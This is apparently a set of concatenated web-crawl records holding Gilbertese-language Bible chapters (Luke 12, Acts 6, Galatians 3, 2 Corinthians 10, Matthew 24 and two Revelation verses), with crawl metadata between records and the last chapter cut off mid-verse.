ana reirei: Kawakiningkami man aia iti B'aritaio are te m'am'ana-te-aba. 2Akea te b'ai ae rabunaki ae na aki kaotaki, ao ae karabaaki ae na aki ataaki. 3B'a ane kam taekinna n roon te bong ao e na ongoraeakinaki n ootan te ngaina, ao ane kam wirikirikiia i nanon te ruu ni matu, ao e na taekinaki i aon taubukin auti. 4I tuangngkami ngkami aika raou, b'a kam na aki makuia te koraki akana kamatea te rab'ata, ao akea riki te bae a kona ni karaoia i mwina. 5Ma N na tuangngkami ae kam na makua: kam na maka Teuare kona n tetewe nako Keenna, ngkana E a tia n kamaamate; eng, I tuangngkami b'a kam na makua. 6Tiaki a kabooaki niiman tib'aaro n te boo ae rangi n uarereke? Ao akea temanna ae E m'aninga taekana te Atua. 7Ao ae e moamoa riki, a ataaki m'aitin iran atuumi. Kam na aki maaku; kam bongana riki nakoia tib'aaro aika bati. 8Ao I taku nako imi, b'a ane kaotia i mataia aomata b'a raou ngaia, ao Natin te Aomata e na manga kaotia i mataia ana anera te Atua b'a raona ngaia; 9ma ane kakeaai i mataia aomata, ao e na kakeaaki i mataia ana anera te Atua. 10Ane atonga ae buakaka nakon Natin te Aomata, ao e na kab'araki ana bure; ma ane taetaebuaka te Tamnei are Raoiroi, ao e na aki kab'araaki ana bure. 11Ngkana a katikingkami nako mataia akana botaki ni m'aneabaia I-Iutaia ao nakoia taan tautaeka ma uea, ao tai raraoma n are kam na taekin b'a a kanga ami kaeka, ke a na tera are kam na atong; 12b'a E na reireiningkami te Tamnei are Raoiroi n te aoa naba arei ami taeka akana riai b'a kam na atong. 13Ao e taku temanna i buakoia aomata aika bati nakon Iesu, \"Te Tia Reirei, Tuanga tariu b'a e na tib'ai i marenau ma ngaia, ana b'ai tamara ake a tiku i mwini matena.\" 14Ao Ngaia E taku nako ina, \"Nao, antai ae karaoai b'a te tia moti ke te tia tib'a i aomi?\" 15Ao E a manga taku riki nako ia, \"Tarataraingkami! ao kawakiningkami man te mataai ni kanib'aib'ai ni kabane; b'a maiun te aomata, e aki mena n ana b'ai, e ngae ngkana a reke i rouna ni m'aiti.\" 16Ao E taekina te rongorongo ni kabotau nako ia, ao E kangai, E bati n uaa aban te aomata temanna ae kaub'ai, 17ao e kangai i nanona, \"Tera ae N nang karaoia, b'a akea te tabo ae N na kawakin iai au uaa?\" 18Ao e taku, \"N na karaoa aei: N na urui nnen au uaa, ao N na manga katei aika ab'ab'aki riki; ao N na kawakin iai au uaa ni uita ni kabane ma au b'ai nako. 19Ao N na kangai nako iu, 'Nao, a bati am b'ai aika kawakinaki i bukin ririki aika na roko; aoriko am'arake, mooi, ao kim'areirei.' \" 20Ma E taku te Atua nako ina, \"Te nanobaba! N te tairiki aei, ao e na anaaki maium mai roum; ao b'aai akana ko a tia ni katauraoi, antai ae na b'aini?\" 21\"Anne aron te bae na riki nakon te aomata ae kaiko b'aai i bukina ngke e ataaki iroun te Atua b'a e aki kaub'ai.\" 22E taku Iesu nako ia ana reirei, Ma ngaia ae I taku nako imi, Tai iango n raraoma i bukini maiumi b'a tera ae kam na kanna; ao i bukin rab'atami b'a tera ae kam na kunnikaia iai. 23B'a e kakawaki riki te maiu nakon te am'arake, ao te rab'ata nakon te kunnikai. 24Kam na iangoi aroia reeben: a aki ununiki ao aki boboti uaa ngkana a tai; akea naba teutana aia titoa ni b'ai, ma E kakam'arakeia te Atua. Ai m'aitira kakawakimi nakoia mannikiba! 25antai i buakomi, i bukin raraomana, ae e kona ni kaananaua ana tai ni maiu nakon ae teuana riki te bong? 26Ngkana ngaia b'a kam aki kona ni karaoa te b'ai ae uarereke ae ai aron anne, ao e aera b'a kam na iango n raraoma i bukini b'aai akekei? 27Kam na iangoi aroia kiebu b'a a kanga n riki rake: a aki m'am'akuri ao a aki bibinoka; ao I taku nako imi b'a e bon aki kunnikaiaki Toromon, n ai aron tekaina i buakon aikai, e ngae ngke e kaub'ai. 28Ma ngkana e kunnikaiaki iroun te Atua te uteute ae maiu ngkai ao e karenakoaki nakon nanoni nnen te ai ningabong, ao ai m'aitira riki ana kani kunnikaingkami, ngkami aika karako ami onimaki? 29Ao ngkami, tai ukoukori kanami ao nimami, ao tai nanokokoraki. 30B'a a ukoukori baikai ni kabane botannaomata i aonnaba; ao Tamami, E ataia b'a kam kainanoi. 31Ma kam na ukoukora ueana, ao e na raonaki ni baikai nako imi. 32Tai maaku, ngkami aika karako m'aitimi b'a E kukurei Tamami n anganingkami ueana. 33Kam na kabo nako ami b'ai, ao anga m'aneia b'a b'ai n tituaraoi nakoia akana akea aia b'ai; kareke ami b'auti-ni-m'ane aika na aki riki ni m'ane, ma baika kakawaki aika na aki kona ni bane i karawa, ike e aki rooroko iai te tia ira, ao e aki ururu b'aai iai te koa. 34B'a ike a mena iai ami b'ai, ao a mena naba iai nanomi. 35Kam na b'aina te tauraoi, ao a na ura ami taura, 36ao kam na katotongia aomata ake a kantaninga rokon aia mataniwi ngkana e oki man te baka b'a a na kauka te mataroa nako ina n te tai naba are e roko iai ni karebwerebwe. 37A kab'aia tooro akana e noria te mataniwi b'a a tabe n tantani ngkana e roko; e koaua ae I a tuangingkami b'a e na kabaea nuukana ao e na katekatekaia b'a a na am'arake, ao e na roko n touati i bukiia. 38Ngkana e roko n te nuuka ni bong ke n te karangaina, ao e noriia b'a a tantani, ao a kab'aia tooro akanne. 39Ma kam na ata aei, b'a ngke arona b'a te aomata are ana auti te auti e a kaman ata te aoa are e na roko iai te tia ira, ao e na kamarurungnga n tantani b'a e na aki karekea ana tai te tia ira n urua oon te auti b'a e na rin. 40Ao ngkami naba, kam na b'aina te tauraoi; b'a ane na roko Natin te Aomata n te aoa are kam aki kantaningaia b'a E na roko iai. 41E taku Betero, \"Te Uea, Ko taekina te rongorongo ni kabotau aei i bukira, ke i bukiia aomata ni kabaneia?\" 42Ao E taku te Uea, Antai te touati ae kakaonimaki ae wanawana, are e na mwiokoaki iroun ana mataniwi b'a e na tararuaia ana toro, n angania kanaia ake a tia ni baireaki n taiia? 43E a kab'aia te toro ae e nooria ana mataniwi ngkana e roko b'a e tabe iai. 44E koaua ae I a tuangngkami b'a ane e na karikia b'a mataniwin ana b'ai ni kabane. 45Ma ngkana e kangai te toro arei i nanona, E baenikai n roko au mataniwi; ao e moana oreaia tooro mm'aane ma tooro aine, ao e am'arake ma ni mooi, ao e kakoroa ni manging; 46ao teuare ana mataniwi te toro arei, e na roko n te bong ae e aki kantaningaia iai, ao n te aoa ae e aki ataia, ao e na korouaia ni kam'akorokoroa, ao e na kaakiia i rarikiia ake a aki kakaonimaki. 47Ao te toro ae e ata nanon ana mataniwi, ma akea ana kekeiaki nakoni karaoana, e na oreaki ni karawataaki. 48Ma ane aki ataia, ao e karaoa ae e na oreaki iai, e na oreaki ni karaurau. Ane anganaki baika bati, ao e kantaningaaki rekeni baika bati mai rouna; ao ane mwiokoaki ni baika bati irouia aomata, ao a na kabatiai riki baika a na kaauakin mai rouna. 49I roko b'a N kabuoka te aonnaba, ao tera ngke arona b'a e a kaman tia n ura aina! 50Iai te b'abetito ae N nang b'abetitoaki iai; ai te rawawata tera ae taonai ni karokoa e tia! 51Kam taku b'a I roko n uota te raoi, ma I aki I uota te iraraaure. 52b'a ni moa mangkai, ao ane e na bwenaua te utu teuana ae niman kaaina, b'a teniman ni kaitaraia uoman, ao uoman ni kaitaraia teniman; 53te karo, e na ekaanako natina te mm'aane, ao te nati te mm'aane e na ekaanako tamana; te tina, e na ekaanako natina te aine, ao te nati te aine, e na ekaanako tinana; te aine, e na ekaanako buun natina te mm'aane, ao buun te nati te mm'aane e na ekaanako tinani buuna. 54Ao E taetae naba nakoia aomata ni kangai, Ngkana kam noora te nang b'a e oti ni waerake mai maeao, ao kam a kangai naba, \"E a kani b'aka te karau ae korakora,\" ao e boni koaua. 55Ao ngkana kam ataia b'a e kare te ang mai maiaki, ao kam kangai, \"E na rangi ni kabuebue; ao e boni koaua.\" 56Ngkami aika taani m'am'ana te aba, iai am konaa n atai nanoni kanikina i aon te aba ma karawa, ma e aera ngkai kam aki kona n ata nanon te tai aei? 57Ao e aera b'a kam aki bairea ae kam taku i bon i roumi b'a e eti? 58Ngkana ko nako ma te aomata are bukiniko nakon te tia moti, ao ko na kataa ae ko kona ni karekea te raoi i marenam ma ngaia i aon te kawai, b'a e kawa ni katikiko nakon te tia moti, ao te tia moti e na anga ngkoe nakon te bureitiman, ao te bureitiman e na kaakiko i nanon te karabuuti. 59I taku nako imi b'a ko na bon aki kona n oti nako ni karokoa ko a tia ni kab'aka ni kabanea m'aitin am taarau.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/12","date":"2016-09-26T05:58:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660706.30\/warc\/CC-MAIN-20160924173740-00120-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1651,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ni boong akekei, ngke e tabe n rikirake m'aitiia aomata ake a onimakina Iesu, ao a ngurengure I-Iutaia ake a b'aina te taetae n Erene irouia raoia n I-Iutaia ake a b'aina te taetae n Ebera, i bukina ngke akea tib'aia aia aine, ake a tia ni mate buia, ae e reke n te tib'atib'a n te bong ae koraki. 2Ao uake tengauni ma uoman a weteia aomata aika bati ake a onimakina Iesu, ao a kaangai, \"E aki riai b'a ti na kaaki taekan ara m'akuri n tataekina ana taeka te Atua, ao ti na katabeira n te m'akuri n tib'atib'a. 3Ma ngaia aei, taari, kam na rineia itiman i buakomi aika kakoauaki b'a a on n te Tamnei ma te rabakau, ao ti na katabeia n te m'akuri aei. 4Ao ngaira ti na kabanei riki ara tai n te tataro, ao n tabeakinan ana taeka te Atua.\" 5A bane ni kukurei n te taeka arei te koraki arei; ao a rinea ngkanne Tetebano, ae te aomata ae te tia onimaki ni koaua ao e on n te Tamnei are Raoiroi; a rinea naba Biribo, ma Berokoro, ma Nikanora, ma Timon, ma Baremena, ma Nikorao ae te I-Antioka ae tiaki te I-Iutaia, ma e a tia n rairaki nakon te Aro n Iutaia. 6A kaakiia i mataia taan tuatua; ao a tataro taan tuatua ao a katokai baiia i aoia. 7E buta nako ana taeka te Atua, ao a bati riki ake a ongo ao a onimaki: a kabatiaki m'aitiia aomata ake a onimaki i Ierutarem, ao a m'aiti aia koraki ibonga ake a butim'aea taekan te euangkerio. 8E rangi ni kakab'aiaki Tetebano iroun te Atua, ao e on n te m'aaka: e karaoi m'akuri ni kamimii aika ab'ab'aki ma kanikina i buakoia aomata. 9Ao a kauntaeka ma Tetebano aomata tabem'aang aika kaain te m'aneaba are aranaki b'a m'aneabaia Aomata aika Inaomata, aika I-Iutaia mai Kurene, ao mai Arekanria, ni botaki ma I-Iutaia mai Kirikia ao mai Atia. 10Ma a aki kona ni kaitaraa Tetebano n aia taeka i bukina b'a E a tia te Tamnei 11Ma ngaia are, a kaboia aomata tabem'aang b'a a na atonga ae kaangai, \"Ti ongo ana taeka n eekaanako Mote ma te Atua!\" 12A kauniia aomata, ma unim'aane, ma taani koroboki, ao a taua Tetebano ma te matoa, ni kairiia nakon te Tanirim; 13ao a kateia taani kaotioti aika kewe, ao a kaangai uakekei, \"E aki toki te aomata aei n taekin taeka aika aki raraoi i bukin te tabo ae tabu aei, ma te Tua; 14b'a ti ongo i rouna ngke e taku b'a e na urua te tabo aei Iesu are te I-Natareta, ao E na oniki katei ake e anganira Mote!\" 15Ao a bane ake a tekateka n te Tanirim ni katoka mataia n tara Tetebano, ao a nora matana b'a kanga ai aron taraani matan te anera.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/6","date":"2016-10-01T11:05:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662705.84\/warc\/CC-MAIN-20160924173742-00079-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":480,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12E kamanena ni kabane m'aakan te moa ni man are tiritiri ni m'am'akuri iai i matana. Ao e anai nanoia aomata ni kabaneia i aonnaba b'a a na taromauria te man are moa ni kaoti, are iai ikoakina are kakaiaki are a tia ni mao.\nTE KAOTIOTI 13:12\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/12","date":"2016-09-27T04:38:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660957.45\/warc\/CC-MAIN-20160924173740-00119-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000054836273193}","num_words":51,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:33E a kab'aia ane wareki taeka ni burabeti aikai, ao a kab'aia naba akana ongo, akana kawakini baika koreaki i nanon te boki aio; b'a e a kaan te tai are a na riki iai baikai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/3","date":"2016-09-30T00:31:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661962.7\/warc\/CC-MAIN-20160924173741-00106-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":0.9998654127,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998654127120972}","num_words":53,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I-Karatia aika kam nanobaba, antai ae m'am'anaingkami, ngkami aika E kaotaki raoi taekani Iesu Kristo i matami, b'a E tauraki n te kaibangaki? 2Ti aei te bae I kan ataia mai roumi, Kam anganaki te Tamnei i bukina ngke kam karaoi baika tangiraki n te Tua, ke i bukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 3E aera ngkai kam kona n nanobaba n aromi anne? Kam moana maiumi n onimaki iroun te Tamnei, ao ngkai kam nang kakororaoia n te aro n rab'ata? 4A matebuaka b'aai ake a tia n riki nakoimi? A bon aki matebuaka. 5Ma ngaia aei, b'a Teuare anganingkami te Tamnei, ma ni karaoi naba m'akuri aika m'aaka i buakomi, E karaoi i bukina ngke kam karaoi baika tangiraki n te Tua, ke i bukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 6Ngke e onimakina te Atua Aberaam, ao e a riki ana onimaki b'a kaetan reitakina ma te Atua. 7Ma ngaia ae kam na ataiia aika onimaki, b'a bon natin Aberaam. 8E a kaman ataia te B'aib'ara, b'a te Atua E na karekea reitakiia aomata aika tiaki I-Iutaia ma Ngaia n te onimaki; ao e taekina te euangkerio nakon Aberaam rimoa, ao e kaangai, A na bane ni kab'aia botannaomata i roum; 9ma ngaia ae a uaia ni kab'aia aika onimaki ma Aberaam are onimaki. 10B'a a nangi reke kaiia aomata aika bati aika karaoi baika tangiraki n te Tua; b'a e a tia ni koreaki ae kaangai, \"E na reke kain te aomata ae aki teimatoa ni karaoi b'ai ni kabane ake a koreaki ni bokin te Tua!\" 11Ma e ataaki b'a akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, b'a e kaangai te B'aib'ara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki. 12Ma te Tua tiaki man te onimaki; ma te aomata ane karaoi baika tangiraki n te Tua, e na maiu iai. 13E kainaomataira Kristo man te rekenikai are n te Tua, ngkae E karaoa are E na reke kaina iai i bukira, b'a e koreaki ae kaangai, E a reke kain te aomata ae tauraki n te kai: 14b'a e aonga n reke kakab'aian Aberaam irouia aomata aika tiaki I-Iutaia irouni Kristo Iesu, ao b'a e aonga n reke iroura n te onimaki te Tamnei are e atongaki n te taeka n akoi. 15Taari, N na taekina te b'ai ni kakairi man te bae e nonoraki irouia aomata: bon akea temanna ae kona n urua ke ni karakaa riki taekan aia boraraoi aomata aika uoman, ngkana a tia ni karaoia. 16A atongaki taian taeka n akoi nakon Aberaam ao nakon ana kariki, ni kaotia b'a e aki nanonaki iai aomata aika bati, ma e kaangai, ao nakon am kariki, ni kaotia b'a ti temanna ae nanonaki iai, b'a Kristo. 17Aei te bae I nanonna n au taeka: te Tua are roko abubua ma teningaun te ririki i mwin te boraraoi are kamatoaki iroun te Atua, e aki urua te boraraoi anne, ao e aki kamaunaa te taeka n akoi. 18B'a ngkana e reke te kakab'aiaki n te Tua, ao nanona ngkanne b'a e aki reke n te taeka n akoi; ma te Atua E angan Aberaam i bukin ana taeka n akoi. 19Tera ngkanne manenan te Tua? E roko te Tua b'a raon te boraraoi, ao e bongana i bukin taiani bure, ni karokoa rokon Temanna n ana kariki Aberaam, are E anganaki te taeka n akoi. E anganaki te aba te Tua irouia anera ni bain te aomata ae te tia itoman i marenan te Atua ma aomata. 20Ma e aki kainanoaki te tia itoman ngkana ti temanna te aomata ae na tabe ma ngaia; ao te Atua bon ti temanna. 21E ekinakoaia nako ngkanne ana taeka n akoi te Atua te Tua? E bon aki; b'a ngke arona b'a e anganaki te aba te tua ae kona te kakamaiu, ao a kona ngkanne n reke reitakiia aomata ni kabaneia ma te Atua n iran nanon te tua anne. 22Ma e taku te B'aib'ara b'a a bane aomata nako ni mena i aani m'aakan te bure; ma ngaia are ana taeka n akoi te Atua bon i bukiia akana onimakina Iesu Kristo. 23Ma i m'ain rokon te onimaki, ao ti kawakinaki b'a kanga buure ngaira i aani m'aakan te Tua ni karokoa ae e kaotaki te onimaki. 24Ma ngaia ae e riki te Tua b'a te tia reireiniira arora ni karokoa ae E roko Kristo, b'a aonga n reke reitakira ma te Atua n te onimaki. 25Ma ngkae e a roko te onimaki, ao ti a aki manga mena i aan ana kairiri te tia reireiniira. 26B'a kam a riki b'a natin te Atua ngkami ni kabaneingkami n onimakinan Kristo Iesu. 27B'a ngkami ni kabaneingkami akana kam b'abetitoaki nako nanoni Kristo, kam a karina Kristo i aomi b'a kanga ai aron te kunnikai. 28Akea kaokoron te I-Iutaia ma te I-Erene i nanoni Kristo, ao akea kaokoron te toro ma te aomata ae inaomata, ao akea naba kaokoron te mm'aane ma te aine: b'a ti temanna ngkami ni kabaneingkami i nanoni Kristo Iesu. 29Ngkana ana b'ai Kristo ngkami, ao boni kanoan Aberaam ngkami, ao kam na b'aib'ai n te taeka n akoi arei.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3","date":"2016-09-29T02:19:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661775.4\/warc\/CC-MAIN-20160924173741-00007-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":880,"character_repetition_ratio":0.068,"word_repetition_ratio":0.03,"special_characters_ratio":0.241,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae B'auro, I butingkami n nimamaneini Kristo ao n nanoraoina, ngai ae I atongaki b'a I nanorinano ngkana I mena i rarikimi, ma I ninikoria ngkana I raroa nako mai roumi. 2I boni butingkami b'a kam na aki karaoa ae N na rangi ni matoatoa iai ngkana I roko i roumi! B'a I boni kona ni matoatoa nakoia ake a taku b'a ti nakonako n te aro n rab'ata. 3B'a ti maiu n te aro n rab'ata, ma ti aki buaka n ai aron nanon te rab'ata; 4b'a ara b'ai ni buaka aika ti kamanenai n te buaka bon tiaki b'ain aon te aba, ma b'ai ni buaka aika korakora iroun te Atua n uru taabo ni buaka aika matoatoa. Ti uru taeka ni baka n rabakau, 5ma aaro ni kainikatonga nako aika tutuki man ataakin te Atua; ao ti kataenikai naano ni kabane b'a a na ongo irouni Kristo; 6ao ti tauraoi ni karekea kain te aki ongeaba ni kabane, ngkana e a roko raoi aromi n ongeaba. 7Kam babaire man taraan aron teini b'aai. Ngkana e koaua i nanona te aomata b'a ana b'ai Kristo ngaia, ao ke e kauringnga b'a ngkai ana b'ai Kristo ngaia, ao ngaira bon ana b'ai naba Kristo. 8B'a e boni ngae ngkana tao I kabatia kamoamoau i bukini m'akara are anganira te UEA i bukini kateimatoami ma tiaki i bukini kab'akami, ao I bon aki mamaa; 9ngkai I aki tangiringkami b'a kam na taraai b'a aongkoa I kataia ni kakamakuingkami n au reta. 10B'a iai ae kangai, \"A rawawata ma ni matoatoa taekan ana reta B'auro, ma ngkana e mena rab'atana i rarikira ao e mamara n arona, ao a kakeaki bonganan ana taeka!\" 11Ke e ataia te aomata anne b'a te baere ti taekinna n te reta ngkai ti raroa, ao ti na boni karaoia ngkana ti mena i roumi. 12B'a ti maaku n atongira b'a raoia te koraki ake a kamoamoaai aroia, ke ni kabotauia ma boni ngaiia, ao a nanobaba. 13Ma ti na aki kamoamoaira i aon are baireaki are E anganira te Atua, ae te tia are kam reke naba i nanona. 14Ao ngkai kam reke i nanona, ao ti bon aki karakaira i aona ngke ti roko n uota taekan euangkerioni Kristo nako imi. 15Ti aki kamoamoaira n aia m'akuri tem'angina are a karaoia i tinanikun te tia are E a tia te Atua ni baireia nako ira; ma bon ara kaantaninga b'a ngkana e rikirake ami onimaki, ao ara m'akuri e na karababaki riki i buakomi n ai aroni baireana. 16Ngkana e riki aei ao ti a kona n tataekina te euangkerio n aaba ake i tinanikuni Korinto, n aki kamoamoaira n te m'akuri are e a kamani karaoaki iroun temanna n te tabo are e a tia ni baireaki nako ina. 17B'a e kangai te B'aib'ara, \"Ane kamoamoa, ao ke e kamoamoa iroun te UEA.\" 18B'a tiaki te aomata ae taekina arona ni kamoamoaa ae kakoauaki b'a e raoiroi arona, ma te aomata ae kamoamoaki arona iroun te UEA.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/10","date":"2016-09-27T05:56:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660966.51\/warc\/CC-MAIN-20160924173740-00127-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":506,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kitana te um'antabu Iesu, ao a roko i Rouna ana reirei ao a kangai, \"Tarai taini kateitei aikai!\" 2Ao E kaekaia Iesu ni kangai, \"Tiaki kam nori baikai ni kabane? E koaua ae I a tuangngkami b'a ane e na bon aki tiku ikai te atibu teuana i aon te atibu teuana; a na bane ni kab'akaki.\" 3Ngke E tekateka Iesu i aon te maunga are Oriweta, ao a nako Ina ana reirei ngke ti ngaiia, ao a kangai, \"Ko na tuangiira b'a e na roko n ningai? Ao tera kanikinaean rokom ma tokin aonnaba?\" 4Ao E kaekaia Iesu ni kangai: Kam na tarataraingkami b'a ane a na burebureingkami aomata. 5B'a a m'aiti aomata akana a na roko n arau, ao a na kangai, Bon te Kristo ngai; ao ane a na burebureia aomata aika bati. 6Ane kam na ongora karongoaan taiani bo ni buaka aika kaan, ma rongorongon taiani bo ni buaka aika raroa nako; kam na tarataraingkami b'a kam na aki maaku; a na riki baikai, ma tiaki nanona b'a e a roko te toki. 7B'a ane na tei rake te aba teuana ni buakana te aba teuana, ao te tautaeka teuana ni buakana te tautaeka teuana; ao ane a na roko roongo ma m'aeiein te aba n taabo nako. 8Baikai ni kabane kaanga ai aroni moani maraki ake a namakinaki n ana tai te ataei ni bungiaki. 9Ao ngkana a riki baikanne, ao ane a na anga ngkami b'a kam na karawawataki, ao ane a na kamateingkami; ao ane kam na ribaki irouia botannaomata ni kabaneia i bukin arau. 10Ane a na akea aia onimaki aomata aika bati, ao ane a na i kam'am'ane ao a na i kairiribai. 11Ao ane a na teirake burabeti ni kewe aika bati, ao ane a na burebureia aomata aika bati. 12Ane a na toki aia tangira aomata i bukina ngkai e kam'aitaki te buakaka. 13Ma ane nanom'aka ni karokoa te toki, ao e na kamaiuaki. 14Ao ane e na tataekinaki euangkerion Uean te Atua i aonnaba ni kabuta, b'a a aonga n reke aia tai ni butim'aia aomata nako; ao ngkanne ai tib'a ana tai te toki are e na roko iai. 15Ma ngaia aei, ngkana kam nora te baere kakamaaku are e taekinna Taniera are te burabeti, b'a e tei n te tabo are tabu n te um'antabu (ke e ataia te tia wareware), 16ao akana mena i Iutaia ke a biri nako ni maunga; 17ane mena i aon taubukin ana auti ao e na aki ruo n anaa ana b'ai are mena i nanon te auti; 18ao ane mena n abana e na aki oki n anaa ana kabaraki. 19Ao ai kawara ake iai natiia aika uarereke, ao ake a kamammai natiia ni boong akanne! 20Kam na tataro b'a kam na aki biri nako n tain te m'aitoro ke te Taabati. 21B'a n te tai anne ao e na iai te rawawata ae bati ae akea n aia arona ma ngke e moa n riki aonnaba ni karokoa ngkai; bon akea n ai arona, ao a na bon akea naba nakoni boong aika rimwi. 22Ao ngke arona b'a a aki kakimototoaki boong akanne, ao bon akea te aomata ae na maiu; ma a kakimototoaki i bukiia ana aomata te Atua ake E a tia n rineia. 23Ao ngkana tao e kangai temanna nako imi, \"Noria, kai aei te Kristo!\" Ke, \"Kai arei!\" Ao tai ira nanona. 24B'a ane a na kaoti taiani Kristo ni kewe ma burabeti ni kewe, ao ane a na kaoti kanikina aika ab'ab'aki ma b'aai ni kamimii, b'a a na burebureia ana aomata te Atua ake E a tia n rineia, ngkana a konaiia. 25Noria, I a tia n tuangngkami ngkai a tuai n roko. 26Ma ngaia aei, ngkana a kangai nako imi, Noria, E mena n te rereua, ao kam na aki nako iai; ao ngkana a kangai, Noria, E mena i nanon ruu, ao tai kakoaua aia taeka! 27B'a aron te iti ngkana e iti mai mainiku, ma n oota ni wairio, ao ai aron naba rokon Natin te Aomata. 28Ike e mena iai te rab'ata ae mate, ao a na ikotaki naba iai taian ikare. 29I mwin naba te rawawata ni boong akanne, ao e na karooaki ootan taai, ao a na akea ootana; ao nam'akaina e na aki oota, ao ane a na b'aka itoi mai karawa, ao m'aaka ake a mena i karawa a na bitaki man aroaroia. 30Ao ane na kaoti kanikinaean Natin te Aomata i karawa, ao ane a na bane n tang kaain aonnaba, ao a na nora Natin te Aomata b'a E nako mai aon nangini karawa ma te m'aaka ao te mimitong ae bati; 31ao ane E na kanakoia ana anera n tangin te buu ae tangi m'aaka, ao a na botiia ana aomata te Atua ake E a tia n rineia man taabo nako i aonnaba. 32Kam na karekea reireiami man te kai ae te biku. N te tai naba are e ubuubu iai m'angana ao a kaoti baana, ao kam na ataia iai b'a e a kaan taini bongin te kabuebue. 33Ao ai aromi naba b'a ngkana kam nori baikai ao kam na ataia iai b'a E a kaan, E a tauraoi n roko. 34E koaua ae I a tuangngkami b'a a na bane n riki baikai i m'aini mateia aomata nako aika maiu ngkai. 35A na mauna karawa ma aonnaba, ma a na aki kona ni mauna au taeka. 36Ma akea ae ata rokon te bong arei, ma te aoa arei, ao a aki ataia naba anerani karawa; ao E aki ataia te Nati, ma ti te Tama ae ataia. 37Ao ai aron ana bongi Nooa rokon Natin te Aomata: 38b'a ni boong ake i m'ain te ieka ngke a am'am'arake aomata ma ni momooi, ma n iein ni karokoa te bong are e rin iai Nooa n te kaibuke, 39ao akea te bae a ataia ni karokoa e roko te ieka ao e uotiia nako ni kabaneia; ao ai arona naba ngkana E roko Natin te Aomata. 40Ao ane a na mena uoman te mm'aane n te aba ae unikaki: e na uotaki nako temanna, ao e na katukaki temanna. 41Ane a na tabe uoman te aine ni kamantinta te buraawa n te atibu: e na uotaki nako temanna, ao e na katukaki temanna. 42Ma ngaia ae kam na kamarurungngkami n tantani, b'a kam aki ata te bong are E na roko iai te Uea. 43Ma kam na ata aei, b'a ngke arona b'a teuare ana auti te auti e a kaman ataia b'a n ningai te tai are e na roko iai te tia ira, ao e na bon tantani, ao e na aki angan te tia ira ana tai ni karekea kawaina n urua te auti b'a e na rin iai. 44Ma ngaia ae kam riai naba ni b'aina te tauraoi; b'a ae E na roko Natin te Aomata n te aoa are kam aki kaantaningaia iai. 45Antai ngkanne te toro ae kakaonimaki ae wanawana, ae kateaki iroun ana toka b'a e na teiakiniia kaain ana auti te toka anne n anganganiia kanaia n aia tai? 46E a kab'aia te toro ae e noria ana toka ngkana e okira mwengana b'a e tabe n ana m'akuri! 47E koaua ae I a tuangngkami b'a ane e na karika te toro arei b'a mataniwin ana b'ai nako. 48Ma ngkana te toro ae 